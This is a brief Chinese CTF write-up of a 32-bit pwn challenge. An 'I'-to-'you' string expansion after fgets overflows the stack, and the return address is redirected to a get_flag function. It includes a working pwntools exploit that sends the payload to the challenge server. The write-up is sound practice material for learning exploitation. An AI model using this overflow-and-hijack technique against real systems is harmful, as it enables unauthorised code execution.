远程连接环境查看交互。
file 查看文件。32 位可执行文件。
checksec 查看文件。开启了 NX 保护。
IDA 打开文件。main 函数直接是调用 vuln 函数。
查看 vuln 函数。发现使用 C++ 写的。发现了存在 fgets()
函数,会造成栈溢出漏洞,而且其中存在把用户输入的 I 字符串替换成 you。
溢出大小:0x3C+0X4=0x40,也就是十进制的64,但是由于之前分析函数的时候发现1个字节的 I 会被替换成3个字节的 you,因此我们只需要输入20个 I 以及4个任意字符,即可造成溢出。
还发现了一个 get_flag()
函数。
思路:使用 fgets()
函数使程序栈溢出,再覆盖程序至 get_flag()
的函数地址,从而得到 flag。
exp:
from pwn import *
r=remote('node5.buuoj.cn',27003)
context.arch='i386'
context.os='Linux'
elf=ELF('./pwn')
backdoor_addr=elf.symbols['get_flag']#这个相当于我们自己写地址,只是这个直接从程序中获取地址了。
getflag_addr=0x8048F0D
payload=b'I'*20+b'a'*4+p32(backdoor_addr)
r.sendline(payload)
r.interactive()
成功得到了 flag。